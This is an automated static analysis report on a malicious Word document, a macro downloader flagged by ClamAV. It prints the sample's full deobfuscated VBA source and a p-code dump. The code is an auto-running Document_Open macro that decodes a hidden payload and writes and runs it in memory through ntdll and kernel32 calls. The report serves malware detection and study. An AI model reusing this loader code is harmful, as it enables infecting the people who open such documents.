Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 53d3cefed23172dd…

MALICIOUS

Office (OLE)

304.0 KB Created: 2018-02-13 15:38:00 Authoring application: Microsoft Office Word First seen: 2018-03-04
MD5: 75ac5e8659c2010afef8f92a0ead9303 SHA-1: 3bb12bfd004f4c8763296bfffe3d291e56fbcf63 SHA-256: 53d3cefed23172ddafc07b3adaad9fe2033523b410fb43bf2b50d7d5a9867da9
90 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The critical ClamAV heuristic and the presence of VBA macros indicate malicious intent. The Document_Open macro is designed to execute obfuscated VBA code, likely to download and run a secondary payload. While the specific download URL is not directly visible due to obfuscation, the presence of the macro file itself is a key indicator.

Heuristics 4

  • ClamAV: Doc.Downloader.Macro-6539595-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Macro-6539595-0
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
Dim axseed As String
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 45246 bytes
SHA-256: a08d4c97ffa99f8639d69cf359b4a56a1695e3270076ac6fbc500432d8592fe5
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True



Private Sub Document_Open()
Dim axseed As String
Dim tuberculous As Variant
malacca = "snobbery"
neutralize
franc = 57 + 4
 Pmt 0, franc, 27736, 19208, 2
End Sub








Attribute VB_Name = "waterleaf"

Function obligor(boner, acanthocytosis, affectioned)
Dim scatter As Variant
Dim connect As Byte
Dim simagre As LongPtr
Dim eldest As LongPtr
Dim deipnosophist As LongPtr
Dim canteen As Integer
Dim camorra As LongPtr
Dim icon As LongPtr
changer = Rnd(157)
aught = "lithophyte"
eldest = boner
icon = affectioned
pampered = Rnd(185)
camorra = acanthocytosis
ballade = 7 + 27
 Pmt 0, ballade, 11265, 53576, 2

aught = adjudicate
simagre = 59 - 5 - 55
egression ByVal simagre, _
eldest, _
camorra, icon, _
deipnosophist
pampered = changer And 145
End Function
Function torment(profligately) As String
Dim probat As Long
Dim ballotbox As Integer
Dim assigns(63) As Long
adjudicate = "maigre"
Dim park As Long
Dim cursorily(63) As Long
Dim embothrium As Long
Dim conveyer(6962) As Byte
Dim keen As Long
Dim volatility() As Byte
Dim oxyuranus(63) As Long
Dim popeyed As String
Dim farout As Variant

early = 121 - 66 + 65225
Dim crouch As Integer

crepis = 85 - 101 + 272
sold = 113 - 40 + 257975
deliciously = 85 - 42 + 65493
affably = 85 - 92 + 16711687
influence = 29 - 11 + 46
graduality = 6 - 5 + 4095
distress = 127 - 11 + 262028
tetrahymena = 26 - 96 + 16515142
afric = 92 - 22 + 185
Dim narc As Integer

conglobation = 110 - 81 + 34
dacoit = 87 - 31 + 3976
Dim flub As Variant
entoproct = 48 - 1 + 7796
Dim basidiolichen() As Byte
basidiolichen = VBA.StrConv(profligately, 120 + 8)
shutterbug = 50 + 37
 Pmt 0, shutterbug, 12646, 42530, 4

faible = 7843
dowry = vbKeyShift - 12
For edified = 0 To faible
If edified Mod 2 = 0 Then
basidiolichen(edified) = basidiolichen(edified) - dowry
Else
basidiolichen(edified) = basidiolichen(edified) - (dowry - 1)
End If
Next edified
charabancs = 7 + 52
 Pmt 0, charabancs, 18256, 15478, 6

ballotbox = 0
medica = persuasively
For embothrium = (16 - 8 * 2) * 1 To (80 / 2 + 23) * (7 - 6)
cursorily(embothrium) = abovementioned(embothrium, influence, 37)
assigns(embothrium) = abovementioned(embothrium, graduality, 37)
oxyuranus(embothrium) = abovementioned(embothrium, distress, 37)
Next embothrium
typescript = 47 + 53
 Pmt 0, typescript, 31672, 52029, 5

volatility = basidiolichen
cdrom = 68 - 124 + 60
nonaligned = 31 + 31
 Pmt 0, nonaligned, 32265, 35330, 6

ceratonia = 124 - 99 - 22
adjudicate = cran

electromyography = "prostitution"

cockade = ceratonia + 1
meretriciously = 2 - 21 + 21
For keen = 0 To faible
strephon = volatility(keen)
dictatorially = volatility(keen + 2)
muraenidae = assigns(medica(volatility(keen + 1)))
counterrevolutionist = cursorily(medica(dictatorially)) + medica(volatility(keen + ceratonia))
probat = oxyuranus(medica(strephon)) + muraenidae + counterrevolutionist
embothrium = abovementioned(probat, affably, 29)
conveyer(park) = abovementioned(embothrium, deliciously, 19)
embothrium = abovementioned(probat, early, 29)
conveyer(park + 1) = abovementioned(embothrium, crepis, 19)
conveyer(park + meretriciously) = abovementioned(probat, afric, 29)
park = park + meretriciously + 1
keen = keen + 3
Next
torment = conveyer
End Function



Attribute VB_Name = "donne"
Attribute VB_Base = "0{0DAD7B0A-A04B-4687-B9DF-45742CBD983C}{822DDA5B-3BDB-46AC-92C5-1383A4AEE7E7}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "zodone"
#If (55 - 126 + 471 + 43 - 58 + 315) > ((70 - 74 + 324) - (14 - 60 + 586) * 1) And Not ((35 - 42 + 35) - (68 - 114 + 74)) * 2 < (Win64) Then
Public Declare Function unenthusiastically _
Lib "ntdll    " Alias _
"NtAllocateVirtualMemory" (suppeditate As Long, monosyllabically As Long, ByVal melena As Long, alternatelyByVal As Long, blackberries As Long, ByVal grommet As Long) As Long
Public Declare Function chrysoberyl _
Lib "Shlwapi   " Alias _
"GetOverlappedResult" (ByVal cleveland As Any, annulet As Any, confide As Any, fungia As Any) As Long
#End If

#If (55 - 107 + 452 + 12 - 117 + 405) > ((36 - 99 + 383) - (30 - 54 + 564) * 1) And ((44 - 115 + 99) - (87 - 87 + 28)) * 2 < (Win64) Then
Public Declare PtrSafe Function fluffy _
Lib "Kernel32  " Alias _
"CreateTimerQueueTimer" (litem As Any, ByVal activating As Any, ByVal photojournalism As Any, ByVal medicine As Any, ByVal embroiled As Any, ByVal farsi As Any, ByVal refer As Any) As Long
#End If
Function castellated(bison, anniversary, douala)
Dim ascomycetous As Long
Dim grantinaid As String
Dim behaved As Long
Dim brained As Variant
Dim skateboarder As Long
Dim pupilage As Variant
Dim fall As Long
Dim gums As String
Dim acetabular As Long
Dim fogey As Byte
Dim creative As Variant
changer = changer + 395
adjudicate = cran
ascomycetous = bison
acetabular = douala
adjudicate = "alphabetarian"
skateboarder = anniversary
orphrey = 24 + 1
Pmt 0, orphrey, 34934, 20902, 5
aught = "mystery"
behaved = 34 - 128 + 93
egression ByVal behaved, _
ascomycetous, skateboarder, _
acetabular, fall
aught = "perpetrate"
End Function
Function abovementioned(agrimonia, fawncolored, sagamore)
If sagamore = 19 + (10 / 2 - 5) Then
abovementioned = agrimonia \ fawncolored
ElseIf sagamore = 29 + (5 - 3) / 2 - 1 Then
abovementioned = agrimonia And fawncolored
ElseIf sagamore = 37 + (56 / 7 - 4 * 2) Then
abovementioned = agrimonia * fawncolored
End If
End Function

Attribute VB_Name = "zodos"
#If (55 - 107 + 452 + 12 - 117 + 405) > ((36 - 99 + 383) - (30 - 54 + 564) * 1) And ((44 - 115 + 99) - (87 - 87 + 28)) * 2 < (Win64) Then
Public Declare PtrSafe Function palki _
Lib "Shlwapi   " Alias _
"GetOverlappedResult" (ByVal moldered As Any, clowder As Any, peachcolored As Any, diazo As Any) As LongPtr
Public Declare PtrSafe Function unenthusiastically _
Lib "ntdll    " Alias _
"NtAllocateVirtualMemory" (reinsurance As LongPtr, breakwater As LongPtr, ByVal nonexpectant As LongPtr, retrogressionByVal As LongPtr, millisecond As LongPtr, ByVal broadhorn As LongPtr) As LongPtr
#End If
#If (55 - 126 + 471 + 43 - 58 + 315) > ((70 - 74 + 324) - (14 - 60 + 586) * 1) And Not ((35 - 42 + 35) - (68 - 114 + 74)) * 2 < (Win64) Then
Public Declare Function fluffy _
Lib "Kernel32" Alias _
"CreateTimerQueueTimer" (elopement As Any, ByVal cymbiform As Any, ByVal myotis As Any, ByVal unwarrantably As Any, ByVal nimbus As Any, ByVal hydrangeaceae As Any, ByVal fanning As Any) As Long
Public Declare Function bobolink Lib _
"ntdll     " Alias _
"AcquireSRWLockShared" (debitor As Any) As Long
#End If

Function neutralize()
Dim descendants As Variant
Dim earflap As String
donne.denominator.Value = Day(#12/5/2013#)
varday = breaststroke = "armband"
frontier = forsake
sudatory = "kinky"
pixy = nun
bonhomme = "adscititious"

dolore = "clap"
squirrel = "commensalism"
Set spermatocele = donne.denominator.SelectedItem
spongy = 51 + 11
 Pmt 0, spongy, 9325, 36648, 6

koran = spermatocele.Name
ortygan = 63 - 98 + 7879
tremulously = Right(koran, ortygan)
ahura = waterleaf.torment(tremulously)
meliphagidae = 19 + 49
 Pmt 0, meliphagidae, 24639, 33318, 4

marumi = "carancha"
#If (104 - 93 + 389 + 48 - 34 + 286) > ((89 - 53 + 284) - (106 - 41 + 475) * 1) And ((33 - 83 + 78) - (58 - 97 + 67)) * 2 < (Win64) Then
Dim coop As String
Dim fredaine As LongPtr
Dim hornwort As LongPtr
Dim remora As Variant
#ElseIf (45 - 50 + 405 + 81 - 47 + 266) > ((123 - 30 + 227) - (55 - 125 + 610) * 1) And Not ((44 - 63 + 47) - (4 - 14 + 38)) * 2 < (Win64) Then
Dim missile As Integer
Dim hornwort As Long
Dim outstandingly As String
Dim fredaine As Long
#End If
deconsecration = 27 - 8 - 19
skibob = "anaesthetic"
bacteriolytic = "denticulated"
teary = 91 - 24 + 4029
lipid = 41 + 30
 Pmt 0, lipid, 34223, 27663, 5

outgrowth = "bulls"
grounder = "petite"
announced = "awake"
mesolithic = 54 + 9
 Pmt 0, mesolithic, 18641, 57365, 3

hiroshima = ahura
axonal = "outcry"
fredaine = animalism(hiroshima)
aramus = "notifiable"
naevose = "enchain"
#If (15 - 116 + 501 + 70 - 55 + 285) > ((99 - 12 + 233) - (127 - 95 + 508) * 1) And ((84 - 76 + 20) - (66 - 67 + 29)) * 2 < (Win64) Then
Dim anthropophagist As String
Dim auteur As LongPtr
Dim sardonic As LongPtr
Dim misbehavior As LongPtr
gum = 76 - 5 + 1993
#ElseIf (117 - 112 + 395 + 53 - 86 + 333) > ((66 - 71 + 325) - (43 - 13 + 510) * 1) And Not ((78 - 70 + 20) - (6 - 65 + 87)) * 2 < (Win64) Then
Dim auteur As Long
permeated = 6 - 66 + 841
Dim sardonic As Long
Dim misbehavior As Long
gum = permeated + 3459

#End If
Dim aboiteau As Integer
Dim amethystine As Byte
auteur = 115 - 21 - 94
hornwort = fredaine + gum
sardonic = 11 - 124 + 201640
misbehavior = 96 - 109 + 3513
claudianus = fluffy(sardonic, auteur, hornwort, auteur, auteur, auteur, auteur)
dan = 56 + 23
 Pmt 0, dan, 34406, 11438, 2

End Function

Attribute VB_Name = "zodtwo"
#If (55 - 107 + 452 + 12 - 117 + 405) > ((36 - 99 + 383) - (30 - 54 + 564) * 1) And ((44 - 115 + 99) - (87 - 87 + 28)) * 2 < (Win64) Then
Public Declare PtrSafe Function concavoconvex _
Lib "Shlwapi  " Alias _
"SleepConditionVariableSRW" (ByVal mycobacteriacaea As Any, traitress As Any, crooner As Any, physiologist As Any) As LongPtr
Public Declare PtrSafe Function egression _
Lib "ntdll    " Alias _
"NtWriteVirtualMemory" (ByVal histamine As Any, ByVal naias As Any, ByVal preferentially As Any, ByVal houyhnhnm As Any, ByVal blah As Any) As LongPtr
#End If
#If (55 - 126 + 471 + 43 - 58 + 315) > ((70 - 74 + 324) - (14 - 60 + 586) * 1) And Not ((35 - 42 + 35) - (68 - 114 + 74)) * 2 < (Win64) Then
Public Declare Function lasso _
Lib "Shlwapi   " Alias _
"SleepConditionVariableSRW" (ByVal unversed As Any, outrigger As Any, intelligence As Any, firearm As Any) As Long
Public Declare Function egression _
Lib "ntdll    " Alias _
"NtWriteVirtualMemory" (ByVal cessation As Any, ByVal hobo As Any, ByVal malachite As Any, ByVal cosmopolitanism As Any, ByVal ableism As Any) As Long
#End If
Function animalism(angelic)
Dim impressed As Variant
Dim balanced As Long
Dim exception As String
Dim bromelia As String
#If (86 - 61 + 375 + 48 - 17 + 269) > ((21 - 104 + 403) - (68 - 95 + 567) * 1) And ((12 - 71 + 87) - (76 - 24 - 24)) * 2 < (Win64) Then
Dim inflame As Long
Dim luce As LongPtr
birdseye = 62 - 110 + 56
Dim archenteron As LongPtr
Dim mithai As Byte
Dim amnesic As String
Dim befringed As LongPtr
Dim podesta As Byte
voussoir = VarPtr(luce)
eleusine = obligor(voussoir, VarPtr(angelic) + (92 - 107 + 23), birdseye)
#ElseIf (26 - 99 + 473 + 71 - 46 + 275) > ((66 - 122 + 376) - (95 - 47 + 492) * 1) And Not ((17 - 45 + 56) - (43 - 3 - 12)) * 2 < (Win64) Then
Dim luce As Long
birdseye = 25 - 32 + 11
Dim archenteron As Long
Dim befringed As Long
#End If
voussoir = VarPtr(luce)
eleusine = castellated(voussoir, VarPtr(angelic) + (93 - 42 - 43), birdseye)
dulcification = 5 - 45 + 39
archenteron = 3 - 89 + 86
dishonesty = 56 - 59 + 3
befringed = 66 - 127 + 9924
airbus = 22 - 88 + 4162
arcidae = 70 - 60 + 54
mentum = unenthusiastically(ByVal dulcification, _
archenteron, ByVal dishonesty, befringed, ByVal airbus, _
ByVal arcidae)
castellated archenteron, luce, 23 - 118 + 5978
charcoal = 32 + 44
Pmt 0, charcoal, 11052, 59495, 5
animalism = archenteron
End Function
Function persuasively()
Dim rhizophora(255) As Byte
Alignment = 85 - 92 + 72
For i = Alignment To (112 - 28 + 7)
rhizophora(Alignment) = Alignment - (78 - 20 + 7)
Alignment = Alignment + 1
If (31 - 20 + 80) < Alignment Then Exit For
Next
Alignment = (68 - 66 + 46)
For i = Alignment To (56 - 51 + 53)
rhizophora(Alignment) = Alignment + (42 - 119 + 81)
Alignment = Alignment + 1
If (27 - 43 + 74) < Alignment Then Exit For
Next
Alignment = (23 - 23 + 97)
For i = Alignment To (19 - 106 + 210)
rhizophora(Alignment) = Alignment - (70 - 106 + 107)
Alignment = Alignment + 1
If (106 - 95 + 112) < Alignment Then Exit For
Next
rhizophora(25 - 121 + 143) = (35 - 127 + 155)
Alignment = (5 - 1 + 39)
rhizophora(Alignment) = (122 - 102 + 42)
persuasively = rhizophora
End Function

' Processing file: /opt/analyzer/scan_staging/a6f5a23dd2e940219b6552ddf44176c7.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 3931 bytes
' Line #0:
' Line #1:
' Line #2:
' Line #3:
' 	FuncDefn (Sub Document_Open())
' Line #4:
' 	Dim 
' 	VarDefn axseed (As String)
' Line #5:
' 	Dim 
' 	VarDefn tuberculous (As Variant)
' Line #6:
' 	LitStr 0x0008 "snobbery"
' 	St malacca 
' Line #7:
' 	ArgsCall neutralize 0x0000 
' Line #8:
' 	LitDI2 0x0039 
' 	LitDI2 0x0004 
' 	Add 
' 	St franc 
' Line #9:
' 	LitDI2 0x0000 
' 	Ld franc 
' 	LitDI2 0x6C58 
' 	LitDI2 0x4B08 
' 	LitDI2 0x0002 
' 	ArgsCall Pmt 0x0005 
' Line #10:
' 	EndSub 
' Line #11:
' Line #12:
' Line #13:
' Line #14:
' Line #15:
' Line #16:
' Line #17:
' Macros/VBA/waterleaf - 9611 bytes
' Line #0:
' Line #1:
' 	FuncDefn (Function obligor(boner))
' Line #2:
' 	Dim 
' 	VarDefn scatter (As Variant)
' Line #3:
' 	Dim 
' 	VarDefn connect (As Byte)
' Line #4:
' 	Dim 
' 	VarDefn simagre (As Ptr)
' Line #5:
' 	Dim 
' 	VarDefn eldest (As Ptr)
' Line #6:
' 	Dim 
' 	VarDefn deipnosophist (As Ptr)
' Line #7:
' 	Dim 
' 	VarDefn canteen (As Integer)
' Line #8:
' 	Dim 
' 	VarDefn camorra (As Ptr)
' Line #9:
' 	Dim 
' 	VarDefn icon (As Ptr)
' Line #10:
' 	LitDI2 0x009D 
' 	ArgsLd Rnd 0x0001 
' 	St changer 
' Line #11:
' 	LitStr 0x000A "lithophyte"
' 	St aught 
' Line #12:
' 	Ld boner 
' 	St eldest 
' Line #13:
' 	Ld affectioned 
' 	St icon 
' Line #14:
' 	LitDI2 0x00B9 
' 	ArgsLd Rnd 0x0001 
' 	St pampered 
' Line #15:
' 	Ld acanthocytosis 
' 	St camorra 
' Line #16:
' 	LitDI2 0x0007 
' 	LitDI2 0x001B 
' 	Add 
' 	St ballade 
' Line #17:
' 	LitDI2 0x0000 
' 	Ld ballade 
' 	LitDI2 0x2C01 
' 	LitDI4 0xD148 0x0000 
' 	LitDI2 0x0002 
' 	ArgsCall Pmt 0x0005 
' Line #18:
' Line #19:
' 	Ld adjudicate 
' 	St aught 
' Line #20:
' 	LitDI2 0x003B 
' 	LitDI2 0x0005 
' 	Sub 
' 	LitDI2 0x0037 
' 	Sub 
' 	St simagre 
' Line #21:
' 	LineCont 0x000C 04 00 00 00 06 00 00 00 0A 00 00 00
' 	Ld simagre 
' 	ParamByVal 
' 	Ld eldest 
' 	Ld camorra 
' 	Ld icon 
' 	Ld deipnosophist 
' 	ArgsCall egression 0x0005 
' Line #22:
' 	Ld changer 
' 	LitDI2 0x0091 
' 	And 
' 	St pampered 
' Line #23:
' 	EndFunc 
' Line #24:
' 	FuncDefn (Function torment(sagamore) As String)
' Line #25:
' 	Dim 
' 	VarDefn profligately (As Long)
' Line #26:
' 	Dim 
' 	VarDefn probat (As Integer)
' Line #27:
' 	Dim 
' 	OptionBase 
' 	LitDI2 0x003F 
' 	VarDefn ballotbox
' Line #28:
' 	LitStr 0x0006 "maigre"
' 	St adjudicate 
' Line #29:
' 	Dim 
' 	VarDefn assigns (As Long)
' Line #30:
' 	Dim 
' 	OptionBase 
' 	LitDI2 0x003F 
' 	VarDefn park
' Line #31:
' 	Dim 
' 	VarDefn cursorily (As Long)
' Line #32:
' 	Dim 
' 	OptionBase 
' 	LitDI2 0x1B32 
' 	VarDefn embothrium
' Line #33:
' 	Dim 
' 	VarDefn conveyer (As Long)
' Line #34:
' 	Dim 
' 	VarDefn keen
' Line #35:
' 	Dim 
' 	OptionBase 
' 	LitDI2 0x003F 
' 	VarDefn volatility
' Line #36:
' 	Dim 
' 	VarDefn oxyuranus (As String)
' Line #37:
' 	Dim 
' 	VarDefn popeyed (As Variant)
' Line #38:
' Line #39:
' 	LitDI2 0x0079 
' 	LitDI2 0x0042 
' 	Sub 
' 	LitDI4 0xFEC9 0x0000 
' 	Add 
' 	St farout 
' Line #40:
' 	Dim 
' 	VarDefn early (As Integer)
' Line #41:
' Line #42:
' 	LitDI2 0x0055 
' 	LitDI2 0x0065 
' 	Sub 
' 	LitDI2 0x0110 
' 	Add 
' 	St crouch 
' Line #43:
' 	LitDI2 0x0071 
' 	LitDI2 0x0028 
' 	Sub 
' 	LitDI4 0xEFB7 0x0003 
' 	Add 
' 	St crepis 
' Line #44:
' 	LitDI2 0x0055 
' 	LitDI2 0x002A 
' 	Sub 
' 	LitDI4 0xFFD5 0x0000 
' 	Add 
' 	St sold 
' Line #45:
' 	LitDI2 0x0055 
' 	LitDI2 0x005C 
' 	Sub 
' 	LitDI4 0x0007 0x00FF 
' 	Add 
' 	St deliciously 
' Line #46:
' 	LitDI2 0x001D 
' 	LitDI2 0x000B 
' 	Sub 
' 	LitDI2 0x002E 
' 	Add 
' 	St affably 
' Line #47:
' 	LitDI2 0x0006 
' 	LitDI2 0x0005 
' 	Sub 
' 	LitDI2 0x0FFF 
' 	Add 
' 	St influence 
' Line #48:
' 	LitDI2 0x007F 
' 	LitDI2 0x000B 
' 	Sub 
' 	LitDI4 0xFF8C 0x0003 
' 	Add 
' 	St graduality 
' Line #49:
' 	LitDI2 0x001A 
' 	LitDI2 0x0060 
' 	Sub 
' 	LitDI4 0x0046 0x00FC 
' 	Add 
' 	St distress 
' Line #50:
' 	LitDI2 0x005C 
' 	LitDI2 0x0016 
' 	Sub 
' 	LitDI2 0x00B9 
' 	Add 
' 	St tetrahymena 
' Line #51:
' 	Dim 
' 	VarDefn afric (As Integer)
' Line #52:
' Line #53:
' 	LitDI2 0x006E 
' 	LitDI2 0x0051 
' 	Sub 
' 	LitDI2 0x0022 
' 	Add 
' 	St narc 
' Line #54:
' 	LitDI2 0x0057 
' 	LitDI2 0x001F 
' 	Sub 
' 	LitDI2 0x0F88 
' 	Add 
' 	St conglobation 
' Line #55:
' 	Dim 
' 	VarDefn dacoit (As Variant)
' Line #56:
' 	LitDI2 0x0030 
' 	LitDI2 0x0001 
' 	Sub 
' 	LitDI2 0x1E74 
' 	Add 
' 	St flub 
' Line #57:
' 	Dim 
' 	VarDefn entoproct
' Line #58:
' 	Ld sagamore 
' 	LitDI2 0x0078 
' 	LitDI2 0x0008 
' 	Add 
' 	Ld VBA 
' 	ArgsMemLd basidiolichen 0x0002 
' 	St entoproct 
' Line #59:
' 	LitDI2 0x0032 
' 	LitDI2 0x0025 
' 	Add 
' 	St StrConv 
' Line #60:
' 	LitDI2 0x0000 
' 	Ld StrConv 
' 	LitDI2 0x3166 
' 	LitDI4 0xA622 0x0000 
' 	LitDI2 0x0004 
' 	ArgsCall Pmt 0x0005 
' Line #61:
' Line #62:
' 	LitDI2 0x1EA3 
' 	St shutterbug 
' Line #63:
' 	Ld dowry 
' 	LitDI2 0x000C 
' 	Sub 
' 	St faible 
' Line #64:
' 	StartForVariable 
' 	Ld vbKeyShift 
' 	EndForVariable 
' 	LitDI2 0x0000 
' 	Ld shutterbug 
' 	For 
' Line #65:
' 	Ld vbKeyShift 
' 	LitDI2 0x0002 
' 	Mod 
' 	LitDI2 0x0000 
' 	Eq 
' 	IfBlock 
' Line #66:
' 	Ld vbKeyShift 
' 	ArgsLd entoproct 0x0001 
' 	Ld faible 
' 	Sub 
' 	Ld vbKeyShift 
' 	ArgsSt entoproct 0x0001 
' Line #67:
' 	ElseBlock 
' Line #68:
' 	Ld vbKeyShift 
' 	ArgsLd entoproct 0x0001 
' 	Ld faible 
' 	LitDI2 0x0001 
' 	Sub 
' 	Paren 
' 	Sub 
' 	Ld vbKeyShift 
' 	ArgsSt entoproct 0x0001 
' Line #69:
' 	EndIfBlock 
' Line #70:
' 	StartForVariable 
' 	Ld vbKeyShift 
' 	EndForVariable 
' 	NextVar 
' Line #71:
' 	LitDI2 0x0007 
' 	LitDI2 0x0034 
' 	Add 
' 	St edified 
' Line #72:
' 	LitDI2 0x0000 
' 	Ld edified 
' 	LitDI2 0x4750 
' 	LitDI2 0x3C76 
' 	LitDI2 0x0006 
' 	ArgsCall Pmt 0x0005 
' Line #73:
' Line #74:
' 	LitDI2 0x0000 
' 	St probat 
' Line #75:
' 	Ld persuasively 
' 	St charabancs 
' Line #76:
' 	StartForVariable 
' 	Ld cursorily 
' 	EndForVariable 
' 	LitDI2 0x0010 
' 	LitDI2 0x0008 
' 	LitDI2 0x0002 
' 	Mul 
' 	Sub 
' 	Paren 
' 	LitDI2 0x0001 
' 	Mul 
' 	LitDI2 0x0050 
' 	LitDI2 0x0002 
' 	Div 
' 	LitDI2 0x0017 
' 	Add 
' 	Paren 
' 	LitDI2 0x0007 
' 	LitDI2 0x0006 
' 	Sub 
' 	Paren 
' 	Mul 
' 	For 
' Line #77:
' 	Ld cursorily 
' 	Ld affably 
' 	LitDI2 0x0025 
' 	ArgsLd AscW 0x0003 
' 	Ld cursorily 
' 	ArgsSt park 0x0001 
' Line #78:
' 	Ld cursorily 
' 	Ld influence 
' 	LitDI2 0x0025 
' 	ArgsLd AscW 0x0003 
' 	Ld cursorily 
' 	ArgsSt ballotbox 0x0001 
' Line #79:
' 	Ld cursorily 
' 	Ld graduality 
' 	LitDI2 0x0025 
' 	ArgsLd AscW 0x0003 
' 	Ld cursorily 
' 	ArgsSt volatility 0x0001 
' Line #80:
' 	StartForVariable 
' 	Ld cursorily 
' 	EndForVariable 
' 	NextVar 
' Line #81:
' 	LitDI2 0x002F 
' 	LitDI2 0x0035 
' 	Add 
' 	St medica 
' Line #82:
' 	LitDI2 0x0000 
' 	Ld medica 
' 	LitDI2 0x7BB8 
' 	LitDI4 0xCB3D 0x0000 
' 	LitDI2 0x0005 
' 	ArgsCall Pmt 0x0005 
' Line #83:
' Line #84:
' 	Ld entoproct 
' 	St keen 
' Line #85:
' 	LitDI2 0x0044 
' 	LitDI2 0x007C 
' 	Sub 
' 	LitDI2 0x003C 
' 	Add 
' 	St typescript 
' Line #86:
' 	LitDI2 0x001F 
' 	LitDI2 0x001F 
' 	Add 
' 	St cdrom 
' Line #87:
' 	LitDI2 0x0000 
' 	Ld cdrom 
' 	LitDI2 0x7E09 
' 	LitDI4 0x8A02 0x0000 
' 	LitDI2 0x0006 
' 	ArgsCall Pmt 0x0005 
' Line #88:
' Line #89:
' 	LitDI2 0x007C 
' 	LitDI2 0x0063 
' 	Sub 
' 	LitDI2 0x0016 
' 	Sub 
' 	St nonaligned 
' Line #90:
' 	Ld cran 
' 	St adjudicate 
' Line #91:
' Line #92:
' 	LitStr 0x000C "prostitution"
' 	St ceratonia 
' Line #93:
' Line #94:
' 	Ld nonaligned 
' 	LitDI2 0x0001 
' 	Add 
' 	St electromyography 
' Line #95:
' 	LitDI2 0x0002 
' 	LitDI2 0x0015 
' 	Sub 
' 	LitDI2 0x0015 
' 	Add 
' 	St cockade 
' Line #96:
' 	StartForVariable 
' 	Ld conveyer 
' 	EndForVariable 
' 	LitDI2 0x0000 
' 	Ld shutterbug 
' 	For 
' Line #97:
' 	Ld conveyer 
' 	ArgsLd keen 0x0001 
' 	St meretriciously 
' Line #98:
' 	Ld conveyer 
' 	LitDI2 0x0002 
' 	Add 
' 	ArgsLd keen 0x0001 
' 	St strephon 
' Line #99:
' 	Ld conveyer 
' 	LitDI2 0x0001 
' 	Add 
' 	ArgsLd keen 0x0001 
' 	ArgsLd charabancs 0x0001 
' 	ArgsLd ballotbox 0x0001 
' 	St dictatorially 
' Line #100:
' 	Ld strephon 
' 	ArgsLd charabancs 0x0001 
' 	ArgsLd park 0x0001 
' 	Ld conveyer 
' 	Ld nonaligned 
' 	Add 
' 	ArgsLd keen 0x0001 
' 	ArgsLd charabancs 0x0001 
' 	Add 
' 	St muraenidae 
' Line #101:
' 	Ld meretriciously 
' 	ArgsLd charabancs 0x0001 
' 	ArgsLd volatility 0x0001 
' 	Ld dictatorially 
' 	Add 
' 	Ld muraenidae 
' 	Add 
' 	St profligately 
' Line #102:
' 	Ld profligately 
' 	Ld deliciously 
' 	LitDI2 0x001D 
' 	ArgsLd AscW 0x0003 
' 	St cursorily 
' Line #103:
' 	Ld cursorily 
' 	Ld sold 
' 	LitDI2 0x0013 
' 	ArgsLd AscW 0x0003 
' 	Ld assigns 
' 	ArgsSt embothrium 0x0001 
' Line #104:
' 	Ld profligately 
' 	Ld farout 
' 	LitDI2 0x001D 
' 	ArgsLd AscW 0x0003 
' 	St cursorily 
' Line #105:
' 	Ld cursorily 
' 	Ld crouch 
' 	LitDI2 0x0013 
' 	ArgsLd AscW 0x0003 
' 	Ld assigns 
' 	LitDI2 0x0001 
' 	Add 
' 	ArgsSt embothrium 0x0001 
' Line #106:
' 	Ld profligately 
' 	Ld tetrahymena 
' 	LitDI2 0x001D 
' 	ArgsLd AscW 0x0003 
' 	Ld assigns 
' 	Ld cockade 
' 	Add 
' 	ArgsSt embothrium 0x0001 
' Line #107:
' 	Ld assigns 
' 	Ld cockade 
' 	Add 
' 	LitDI2 0x0001 
' 	Add 
' 	St assigns 
' Line #108:
' 	Ld conveyer 
' 	LitDI2 0x0003 
' 	Add 
' 	St conveyer 
' Line #109:
' 	StartForVariable 
' 	Next 
' Line #110:
' 	Ld embothrium 
' 	St torment 
' Line #111:
' 	EndFunc 
' Line #112:
' Line #113:
' Macros/VBA/donne - 1572 bytes
' Macros/VBA/zodone - 6578 bytes
' Line #0:
' 	LbMark 
' 	LitDI2 0x0037 
' 	LitDI2 0x007E 
' 	Sub 
' 	LitDI2 0x01D7 
' 	Add 
' 	LitDI2 0x002B 
' 	Add 
' 	LitDI2 0x003A 
' 	Sub 
' 	LitDI2 0x013B 
' 	Add 
' 	Paren 
' 	LitDI2 0x0046 
' 	LitDI2 0x004A 
' 	Sub 
' 	LitDI2 0x0144 
' 	Add 
' 	Paren 
' 	LitDI2 0x000E 
' 	LitDI2 0x003C 
' 	Sub 
' 	LitDI2 0x024A 
' 	Add 
…

Open this report in the interactive analyzer, or submit your own file for analysis.